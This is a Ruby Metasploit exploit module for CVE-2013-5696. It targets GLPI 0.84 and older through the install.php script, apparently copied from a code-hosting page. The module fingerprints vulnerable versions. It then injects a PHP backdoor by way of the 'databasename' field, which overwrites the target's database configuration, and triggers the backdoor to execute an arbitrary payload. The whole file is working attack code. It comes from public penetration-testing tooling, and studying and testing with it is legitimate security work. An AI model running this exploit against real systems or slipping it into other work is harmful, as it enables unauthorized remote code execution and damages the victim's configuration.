113 lines
3.3 KiB
Ruby
113 lines
3.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking # Application database configuration is overwritten
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'GLPI install.php Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution vulnerability in the
|
|
GLPI 'install.php' script. This module is set to ManualRanking due to this
|
|
module overwriting the target database configuration, which may introduce target
|
|
instability.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-5696' ],
|
|
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ],
|
|
[ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4000,
|
|
'BadChars' => "#",
|
|
'DisableNops' => true,
|
|
'Keys' => ['php']
|
|
},
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'GLPI 0.84 or older', { }]],
|
|
'DisclosureDate' => 'Sep 12 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
|
|
], self.class)
|
|
end
|
|
|
|
def uri
|
|
return target_uri.path
|
|
end
|
|
|
|
def check
|
|
# Check if the GLPI instance is vulnerable
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
|
|
m = Regexp.new(re, Regexp::IGNORECASE)
|
|
matched = m.match(res.body)
|
|
if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
|
|
vprint_good("Detected Version : #{matched[3]}")
|
|
return Exploit::CheckCode::Appears
|
|
elsif matched
|
|
vprint_error("Version #{matched[3]} is not vulnerable")
|
|
end
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
def exploit
|
|
print_status("Injecting the payload...")
|
|
rand_arg = Rex::Text.rand_text_hex(10)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'install/install.php'),
|
|
'vars_post' =>
|
|
{
|
|
'install' => 'update_1',
|
|
'db_host' => 'localhost',
|
|
'db_user' => 'root',
|
|
'db_pass' => 'root',
|
|
'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
|
|
}
|
|
})
|
|
|
|
unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
|
|
print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
|
|
end
|
|
|
|
print_status("Executing the payload...")
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'vars_get' =>
|
|
{
|
|
rand_arg => '1',
|
|
}
|
|
})
|
|
end
|
|
|
|
end
|